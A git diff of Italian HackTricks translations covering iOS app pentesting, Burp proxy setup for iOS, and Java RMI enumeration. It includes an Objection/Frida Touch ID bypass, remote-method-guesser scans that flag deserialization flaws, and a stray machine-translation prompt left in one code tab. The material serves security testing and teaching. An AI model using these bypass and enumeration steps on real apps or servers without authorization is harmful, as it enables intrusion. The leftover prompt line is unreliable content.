Di seguito sono riportati esempi di codice in Swift e Objective-C che mostrano come salvare e recuperare una stringa dal portachiavi, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come configurare il controllo dell'accesso per richiedere l'autenticazione del Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati impostati, a condizione che sia configurato un codice di accesso al dispositivo. Di seguito sono riportati esempi di codice in Swift e Objective-C che mostrano come salvare e recuperare una stringa dal portachiavi, sfruttando queste funzionalità di sicurezza. Gli esempi mostrano specificamente come configurare il controllo degli accessi per richiedere l'autenticazione del Touch ID e garantire che i dati siano accessibili solo sul dispositivo su cui sono stati impostati, a condizione che sia configurato un codice di accesso del dispositivo.
{% tabs %} {% tabs %}
{% tab title="Swift" %} {% tab title="Swift" %}
@ -822,7 +823,7 @@ if status == noErr {
``` ```
{% endtab %} {% endtab %}
{% tab title="Objective-C" %}Traduzione in corso...{% endtab %} {% tab title="Objective-C" %}Translate the relevant English text to Italian and return the translation keeping excatly the same markdown and html syntax. Do not translate things like code, hacking technique names, hacking word, cloud/SaaS platform names (like Workspace, aws, gcp...), the word 'leak', pentesting, and markdown tags. Also don't add any extra stuff apart from the translation and markdown syntax.
```objectivec ```objectivec
// 1. create AccessControl object that will represent authentication settings // 1. create AccessControl object that will represent authentication settings
CFErrorRef *err = nil; CFErrorRef *err = nil;
@ -899,6 +900,9 @@ NSLog(@"%@", password);
NSLog(@"Something went wrong"); NSLog(@"Something went wrong");
} }
``` ```
{% endtab %}
{% endtabs %}
### Rilevamento ### Rilevamento
L'utilizzo di framework in un'app può anche essere rilevato analizzando l'elenco delle librerie dinamiche condivise dell'applicazione binaria. Questo può essere fatto utilizzando `otool`: L'utilizzo di framework in un'app può anche essere rilevato analizzando l'elenco delle librerie dinamiche condivise dell'applicazione binaria. Questo può essere fatto utilizzando `otool`:
@ -927,7 +931,7 @@ Per attivare questo bypass, viene utilizzato il seguente comando:
(agent) [3mhtws9x47q] Marking OS response as True instead (agent) [3mhtws9x47q] Marking OS response as True instead
(agent) [3mhtws9x47q] Biometrics bypass hook complete (agent) [3mhtws9x47q] Biometrics bypass hook complete
``` ```
Questo comando avvia una sequenza in cui Objection registra un'attività che modifica efficacemente l'esito del controllo `evaluatePolicy` su `True`. Questo comando avvia una sequenza in cui Objection registra un'attività che modifica efficacemente l'esito del controllo `evaluatePolicy` a `True`.
#### Frida #### Frida
@ -1033,7 +1037,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i
## Comunicazione di Rete ## Comunicazione di Rete
È importante verificare che non ci siano comunicazioni in corso **senza crittografia** e che l'applicazione stia correttamente **validando il certificato TLS** del server.\ È importante verificare che non ci siano comunicazioni **senza crittografia** e che l'applicazione stia correttamente **validando il certificato TLS** del server.\
Per verificare questo tipo di problemi, è possibile utilizzare un proxy come **Burp**: Per verificare questo tipo di problemi, è possibile utilizzare un proxy come **Burp**:
{% content-ref url="burp-configuration-for-ios.md" %} {% content-ref url="burp-configuration-for-ios.md" %}
@ -1065,23 +1069,23 @@ Per aggirare questa protezione all'interno di un dispositivo jailbroken, è poss
### Patching in Tempo Reale/Aggiornamenti Forzati ### Patching in Tempo Reale/Aggiornamenti Forzati
Gli sviluppatori possono **applicare patch istantaneamente a tutte le installazioni della propria app** senza dover inviare nuovamente l'applicazione allo store e attendere l'approvazione.\ Gli sviluppatori possono **applicare patch remotamente a tutte le installazioni della propria app istantaneamente** senza dover sottomettere nuovamente l'applicazione allo Store e attendere l'approvazione.\
Per questo scopo di solito si utilizza [**JSPatch**](https://github.com/bang590/JSPatch)**.** Ma ci sono anche altre opzioni come [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\ Per questo scopo di solito si utilizza [**JSPatch**](https://github.com/bang590/JSPatch)**.** Ma ci sono anche altre opzioni come [Siren](https://github.com/ArtSabintsev/Siren) e [react-native-appstore-version-checker](https://www.npmjs.com/package/react-native-appstore-version-checker).\
**Si tratta di un meccanismo pericoloso che potrebbe essere abusato da SDK di terze parti malintenzionati, pertanto è consigliabile verificare quale metodo viene utilizzato per l'aggiornamento automatico (se presente) e testarlo.** Si potrebbe provare a scaricare una versione precedente dell'app a questo scopo. **Si tratta di un meccanismo pericoloso che potrebbe essere abusato da SDK di terze parti malintenzionati, pertanto è consigliabile verificare quale metodo viene utilizzato per l'aggiornamento automatico (se presente) e testarlo.** Si potrebbe provare a scaricare una versione precedente dell'app a questo scopo.
### Terze Parti ### Terze Parti
Una sfida significativa con **SDK di terze parti** è la **mancanza di controllo granulare** sulle loro funzionalità. Gli sviluppatori si trovano di fronte a una scelta: integrare lo SDK e accettare tutte le sue funzionalità, comprese potenziali vulnerabilità di sicurezza e preoccupazioni sulla privacy, oppure rinunciare completamente ai suoi vantaggi. Spesso, gli sviluppatori non sono in grado di correggere le vulnerabilità all'interno di questi SDK da soli. Inoltre, poiché gli SDK guadagnano fiducia nella comunità, alcuni potrebbero iniziare a contenere malware. Una sfida significativa con **SDK di terze parti** è la **mancanza di controllo granulare** sulle loro funzionalità. Gli sviluppatori si trovano di fronte a una scelta: integrare lo SDK e accettare tutte le sue funzionalità, comprese potenziali vulnerabilità di sicurezza e preoccupazioni sulla privacy, oppure rinunciare completamente ai suoi benefici. Spesso, gli sviluppatori non sono in grado di correggere le vulnerabilità all'interno di questi SDK da soli. Inoltre, poiché gli SDK guadagnano fiducia nella comunità, alcuni potrebbero iniziare a contenere malware.
I servizi forniti dagli SDK di terze parti possono includere il tracciamento del comportamento dell'utente, la visualizzazione di annunci o il miglioramento dell'esperienza utente. Tuttavia, ciò introduce un rischio poiché gli sviluppatori potrebbero non essere pienamente consapevoli del codice eseguito da queste librerie, portando a potenziali rischi per la privacy e la sicurezza. È fondamentale limitare le informazioni condivise con i servizi di terze parti a ciò che è necessario e garantire che nessun dato sensibile venga esposto. I servizi forniti dagli SDK di terze parti possono includere il tracciamento del comportamento dell'utente, la visualizzazione di annunci o il miglioramento dell'esperienza utente. Tuttavia, ciò introduce un rischio poiché gli sviluppatori potrebbero non essere pienamente consapevoli del codice eseguito da queste librerie, portando a potenziali rischi per la privacy e la sicurezza. È cruciale limitare le informazioni condivise con i servizi di terze parti a ciò che è necessario e garantire che nessun dato sensibile venga esposto.
L'implementazione dei servizi di terze parti di solito avviene in due forme: una libreria autonoma o uno SDK completo. Per proteggere la privacy dell'utente, tutti i dati condivisi con questi servizi dovrebbero essere **anonimizzati** per evitare la divulgazione di Informazioni di Identificazione Personale (PII). L'implementazione dei servizi di terze parti di solito avviene in due forme: una libreria autonoma o uno SDK completo. Per proteggere la privacy dell'utente, qualsiasi dato condiviso con questi servizi dovrebbe essere **anonimizzato** per evitare la divulgazione di Informazioni di Identificazione Personale (PII).
Per identificare le librerie utilizzate da un'applicazione, è possibile utilizzare il comando **`otool`**. Questo strumento dovrebbe essere eseguito contro l'applicazione e ciascuna libreria condivisa utilizzata per scoprire eventuali librerie aggiuntive. Per identificare le librerie utilizzate da un'applicazione, è possibile utilizzare il comando **`otool`**. Questo strumento dovrebbe essere eseguito contro l'applicazione e ciascuna libreria condivisa utilizzata per scoprire eventuali librerie aggiuntive.
```bash ```bash
otool -L <application_path> otool -L <application_path>
``` ```
## **Riferimenti e Altre Risorse** ## **Riferimenti e Altri Risorse**
* [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering) * [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)
* [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting) * [iOS & Mobile App Pentesting - INE](https://my.ine.com/CyberSecurity/courses/089d060b/ios-mobile-app-pentesting)
@ -1112,10 +1116,10 @@ otool -L <application_path>
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=ios-pentesting) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'Accesso Oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=ios-pentesting" %}
<details> <details>
@ -1123,10 +1127,10 @@ Ottieni l'accesso oggi:
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>

View file

@ -17,10 +17,10 @@ Altri modi per supportare HackTricks:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare flussi di lavoro** alimentati dagli strumenti della comunità più avanzati al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) per creare e **automatizzare flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
## Installazione del Certificato Burp sui Dispositivi iOS ## Installazione del Certificato Burp sui Dispositivi iOS
@ -44,7 +44,7 @@ La configurazione consente l'analisi del traffico tra il dispositivo iOS e Inter
Per gli utenti con dispositivi jailbroken, SSH tramite USB (tramite **iproxy**) offre un metodo per instradare il traffico direttamente attraverso Burp: Per gli utenti con dispositivi jailbroken, SSH tramite USB (tramite **iproxy**) offre un metodo per instradare il traffico direttamente attraverso Burp:
1. **Stabilire una Connessione SSH:** Utilizza iproxy per inoltrare SSH a localhost, consentendo la connessione dal dispositivo iOS al computer in esecuzione Burp. 1. **Stabilire la Connessione SSH:** Utilizza iproxy per inoltrare SSH a localhost, consentendo la connessione dal dispositivo iOS al computer in esecuzione Burp.
```bash ```bash
iproxy 2222 22 iproxy 2222 22
@ -58,11 +58,11 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
### Monitoraggio/Sniffing Completo della Rete ### Monitoraggio/Sniffing Completo della Rete
Il monitoraggio del traffico del dispositivo non HTTP può essere effettuato in modo efficiente utilizzando **Wireshark**, uno strumento in grado di catturare tutte le forme di traffico dati. Per i dispositivi iOS, il monitoraggio del traffico in tempo reale è facilitato dalla creazione di un'Interfaccia Virtuale Remota, un processo dettagliato in [questo post di Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Prima di iniziare, l'installazione di **Wireshark** su un sistema macOS è un prerequisito. Il monitoraggio del traffico del dispositivo non HTTP può essere condotto in modo efficiente utilizzando **Wireshark**, uno strumento in grado di catturare tutte le forme di traffico dati. Per i dispositivi iOS, il monitoraggio in tempo reale del traffico è facilitato dalla creazione di un'Interfaccia Virtuale Remota, un processo dettagliato in [questo post di Stack Overflow](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819). Prima di iniziare, l'installazione di **Wireshark** su un sistema macOS è un prerequisito.
La procedura coinvolge diversi passaggi chiave: La procedura prevede diversi passaggi chiave:
1. Inizia una connessione tra il dispositivo iOS e l'host macOS tramite USB. 1. Avvia una connessione tra il dispositivo iOS e l'host macOS tramite USB.
2. Verifica l'**UDID** del dispositivo iOS, un passaggio necessario per il monitoraggio del traffico. Questo può essere fatto eseguendo un comando nel Terminale macOS: 2. Verifica l'**UDID** del dispositivo iOS, un passaggio necessario per il monitoraggio del traffico. Questo può essere fatto eseguendo un comando nel Terminale macOS:
```bash ```bash
$ rvictl -s <UDID> $ rvictl -s <UDID>
@ -81,7 +81,7 @@ In _Proxy_ --> _Opzioni_ --> _Esporta certificato CA_ --> _Certificato in format
* **Trascina e rilascia** il certificato all'interno dell'Emulatore * **Trascina e rilascia** il certificato all'interno dell'Emulatore
* **All'interno dell'emulatore** vai su _Impostazioni_ --> _Generali_ --> _Profilo_ --> _PortSwigger CA_, e **verifica il certificato** * **All'interno dell'emulatore** vai su _Impostazioni_ --> _Generali_ --> _Profilo_ --> _PortSwigger CA_, e **verifica il certificato**
* **All'interno dell'emulatore** vai su _Impostazioni_ --> _Generali_ --> _Info_ --> _Impostazioni fiducia certificati_, e **abilita PortSwigger CA** * **All'interno dell'emulatore** vai su _Impostazioni_ --> _Generali_ --> _Informazioni_ --> _Impostazioni Fiducia Certificati_, e **abilita PortSwigger CA**
![](<../../.gitbook/assets/image (1048).png>) ![](<../../.gitbook/assets/image (1048).png>)
@ -97,7 +97,7 @@ Passaggi per configurare Burp come proxy:
* Vai su _Preferenze di Sistema_ --> _Rete_ --> _Avanzate_ * Vai su _Preferenze di Sistema_ --> _Rete_ --> _Avanzate_
* Nella scheda _Proxy_ seleziona _Proxy Web (HTTP)_ e _Proxy Web Sicuro (HTTPS)_ * Nella scheda _Proxy_ seleziona _Proxy Web (HTTP)_ e _Proxy Web Sicuro (HTTPS)_
* In entrambe le opzioni configura _127.0.0.1:8080_ * Configura entrambe le opzioni con _127.0.0.1:8080_
![](<../../.gitbook/assets/image (431).png>) ![](<../../.gitbook/assets/image (431).png>)
@ -106,20 +106,20 @@ Passaggi per configurare Burp come proxy:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Utilizza [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\ Utilizza [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti della comunità più avanzati al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se desideri vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family) * Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github. * **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repository di Github.

View file

@ -2,25 +2,25 @@
<details> <details>
<summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary> <summary><strong>Impara l'hacking su AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Altri modi per supportare HackTricks: Altri modi per supportare HackTricks:
* Se desideri vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)! * Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com) * Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family) * Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github. * **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details> </details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\ \
Usa [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) per creare e **automatizzare facilmente flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\ Usa [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) per costruire facilmente e **automatizzare flussi di lavoro** supportati dagli strumenti comunitari **più avanzati** al mondo.\
Ottieni l'accesso oggi: Ottieni l'accesso oggi:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} {% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
## Informazioni di base ## Informazioni di base
@ -42,8 +42,8 @@ _nmap_ a volte ha problemi nell'identificare i servizi _RMI_ protetti da _SSL_.
Per semplificare, _Java RMI_ consente a un programmatore di rendere disponibile un _oggetto Java_ sulla rete. Questo apre una porta _TCP_ dove i client possono connettersi e chiamare metodi sull'oggetto corrispondente. Nonostante ciò sembri semplice, ci sono diverse sfide che _Java RMI_ deve risolvere: Per semplificare, _Java RMI_ consente a un programmatore di rendere disponibile un _oggetto Java_ sulla rete. Questo apre una porta _TCP_ dove i client possono connettersi e chiamare metodi sull'oggetto corrispondente. Nonostante ciò sembri semplice, ci sono diverse sfide che _Java RMI_ deve risolvere:
1. Per instradare una chiamata di metodo tramite _Java RMI_, i client devono conoscere l'indirizzo IP, la porta di ascolto, la classe o l'interfaccia implementata e l'`ObjID` dell'oggetto mirato (l'`ObjID` è un identificatore unico e casuale creato quando l'oggetto è reso disponibile sulla rete. È richiesto perché _Java RMI_ consente a più oggetti di ascoltare sulla stessa porta _TCP_). 1. Per instradare una chiamata di metodo tramite _Java RMI_, i client devono conoscere l'indirizzo IP, la porta di ascolto, la classe o l'interfaccia implementata e l'`ObjID` dell'oggetto mirato (l'`ObjID` è un identificatore unico e casuale che viene creato quando l'oggetto è reso disponibile sulla rete. È richiesto perché _Java RMI_ consente a più oggetti di ascoltare sulla stessa porta _TCP_).
2. I client remoti possono allocare risorse sul server invocando metodi sull'oggetto esposto. La _macchina virtuale Java_ deve tracciare quali di queste risorse sono ancora in uso e quali possono essere raccolte dal garbage collector. 2. I client remoti possono allocare risorse sul server invocando metodi sull'oggetto esposto. La _macchina virtuale Java_ deve tenere traccia di quali di queste risorse sono ancora in uso e quali possono essere raccolte dal garbage collector.
La prima sfida è risolta dal _registro RMI_, che è essenzialmente un servizio di denominazione per _Java RMI_. Il _registro RMI_ stesso è anche un servizio _RMI_, ma l'interfaccia implementata e l'`ObjID` sono fissi e conosciuti da tutti i client _RMI_. Ciò consente ai client _RMI_ di consumare il registro _RMI_ semplicemente conoscendo la porta _TCP_ corrispondente. La prima sfida è risolta dal _registro RMI_, che è essenzialmente un servizio di denominazione per _Java RMI_. Il _registro RMI_ stesso è anche un servizio _RMI_, ma l'interfaccia implementata e l'`ObjID` sono fissi e conosciuti da tutti i client _RMI_. Ciò consente ai client _RMI_ di consumare il registro _RMI_ semplicemente conoscendo la porta _TCP_ corrispondente.
@ -71,7 +71,7 @@ e.printStackTrace();
} }
} }
``` ```
Il secondo dei suddetti sfide è risolto dal _Collezionista di Spazzatura Distribuito_ (_DGC_). Questo è un altro servizio _RMI_ con un valore `ObjID` ben noto ed è disponibile praticamente su ogni _endpoint RMI_. Quando un _client RMI_ inizia a utilizzare un servizio _RMI_, invia un'informazione al _DGC_ che l'oggetto remoto corrispondente è in uso. Il _DGC_ può quindi tenere traccia del conteggio dei riferimenti ed è in grado di ripulire gli oggetti non utilizzati. Il secondo dei suddetti sfide è risolto dal _Collezionista di Spazzatura Distribuito_ (_DGC_). Si tratta di un altro servizio _RMI_ con un valore `ObjID` ben noto ed è disponibile praticamente su ogni _endpoint RMI_. Quando un _client RMI_ inizia a utilizzare un servizio _RMI_, invia un'informazione al _DGC_ che l'oggetto remoto corrispondente è in uso. Il _DGC_ può quindi tenere traccia del conteggio dei riferimenti ed è in grado di eliminare gli oggetti non utilizzati.
Insieme al deprecato _Sistema di Attivazione_, questi sono i tre componenti predefiniti di _Java RMI_: Insieme al deprecato _Sistema di Attivazione_, questi sono i tre componenti predefiniti di _Java RMI_:
@ -83,7 +83,7 @@ I componenti predefiniti di _Java RMI_ sono noti vettori di attacco da parecchio
## Enumerazione RMI ## Enumerazione RMI
[remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) è uno scanner di vulnerabilità _Java RMI_ in grado di identificare automaticamente le comuni vulnerabilità _RMI_. Ogni volta che identifichi un endpoint _RMI_, dovresti provarlo: [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) è uno scanner di vulnerabilità _Java RMI_ in grado di identificare automaticamente le vulnerabilità _RMI_ comuni. Ogni volta che identifichi un endpoint _RMI_, dovresti provarlo:
``` ```
$ rmg enum 172.17.0.2 9010 $ rmg enum 172.17.0.2 9010
[+] RMI registry bound names: [+] RMI registry bound names:
@ -143,7 +143,7 @@ $ rmg enum 172.17.0.2 9010
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable [+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default [+] --> Client codebase enabled - Configuration Status: Non Default
``` ```
Il risultato dell'azione di enumerazione è spiegato in dettaglio nelle [pagine di documentazione](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del progetto. A seconda dell'esito, si dovrebbe cercare di verificare le vulnerabilità identificate. L'output dell'azione di enumerazione è spiegato in dettaglio nelle [pagine di documentazione](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) del progetto. A seconda dell'esito, si dovrebbe cercare di verificare le vulnerabilità identificate.
I valori `ObjID` visualizzati da _remote-method-guesser_ possono essere utilizzati per determinare il tempo di attività del servizio. Ciò potrebbe consentire di identificare altre vulnerabilità: I valori `ObjID` visualizzati da _remote-method-guesser_ possono essere utilizzati per determinare il tempo di attività del servizio. Ciò potrebbe consentire di identificare altre vulnerabilità:
``` ```
@ -158,7 +158,7 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
``` ```
## Forzatura dei Metodi Remoti ## Forzatura dei Metodi Remoti
Anche quando durante l'enumerazione non sono state identificate vulnerabilità, i servizi _RMI_ disponibili potrebbero comunque esporre funzioni pericolose. Inoltre, nonostante la comunicazione _RMI_ con i componenti predefiniti _RMI_ sia protetta da filtri di serializzazione, quando si parla di servizi _RMI_ personalizzati, tali filtri di solito non sono in atto. Conoscere le firme dei metodi validi sui servizi _RMI_ è quindi prezioso. Anche quando durante l'enumerazione non sono state identificate vulnerabilità, i servizi _RMI_ disponibili potrebbero comunque esporre funzioni pericolose. Inoltre, nonostante la comunicazione _RMI_ con i componenti predefiniti _RMI_ sia protetta da filtri di serializzazione, quando si parla con servizi _RMI_ personalizzati, tali filtri di solito non sono in atto. Conoscere le firme dei metodi validi sui servizi _RMI_ è quindi prezioso.
Purtroppo, _Java RMI_ non supporta l'enumerazione dei metodi sugli _oggetti remoti_. Detto ciò, è possibile forzare le firme dei metodi con strumenti come [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) o [rmiscout](https://github.com/BishopFox/rmiscout): Purtroppo, _Java RMI_ non supporta l'enumerazione dei metodi sugli _oggetti remoti_. Detto ciò, è possibile forzare le firme dei metodi con strumenti come [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) o [rmiscout](https://github.com/BishopFox/rmiscout):
``` ```
@ -225,11 +225,11 @@ Ulteriori informazioni possono essere trovate in questi articoli:
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) * [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout) * [rmiscout](https://bishopfox.com/blog/rmiscout)
Oltre all'indovinare, dovresti anche cercare nei motori di ricerca o su _GitHub_ per l'interfaccia o addirittura l'implementazione di un servizio _RMI_ incontrato. Il _nome vincolato_ e il nome della classe o interfaccia implementata possono essere utili qui. Oltre all'indovinare, dovresti anche cercare nei motori di ricerca o su _GitHub_ per l'interfaccia o addirittura l'implementazione di un servizio _RMI_ incontrato. Il _nome legato_ e il nome della classe o interfaccia implementata possono essere utili qui.
## Interfacce Conosciute ## Interfacce Conosciute
